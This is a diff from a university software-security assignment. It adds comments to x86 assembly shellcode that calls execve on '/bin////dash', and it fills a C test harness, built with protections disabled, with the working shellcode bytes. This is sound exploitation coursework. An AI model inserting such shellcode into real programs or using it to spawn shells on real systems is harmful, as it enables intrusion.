Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm

@@ -16,6 +16,8 @@ _start:
     push 0x68736164     ; push the ASCII values for 'dash' onto the stack in reverse order (due to little endian)
     push 0x2f2f2f2f     ; push the ASCII values for '////' onto the stack in reverse order "
     push 0x6e69622f     ; push the ASCII values for '/bin' onto the stack in reverse order "
+                        ; only multiples of wordsize (here 4 byte) can be pushed onto stack
+                        ; therefore four / in the second push
     mov ebx, esp        ; set ebx to the address of the '/bin////dash' string (top of the stack)
     mov ecx, eax        ; set ecx to NULL (=> char *const _Nullable argv[] is NULL)
     mov edx, eax        ; set edx to NULL (=> char *const _Nullable envp[] is NULL)

Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c

@@ -4,7 +4,7 @@
 // gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c
 
 // Your shellcode goes here
-char *shellcode = "\x90\x90\x90...";
+char *shellcode = "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
 // ------------------------
 
 int main()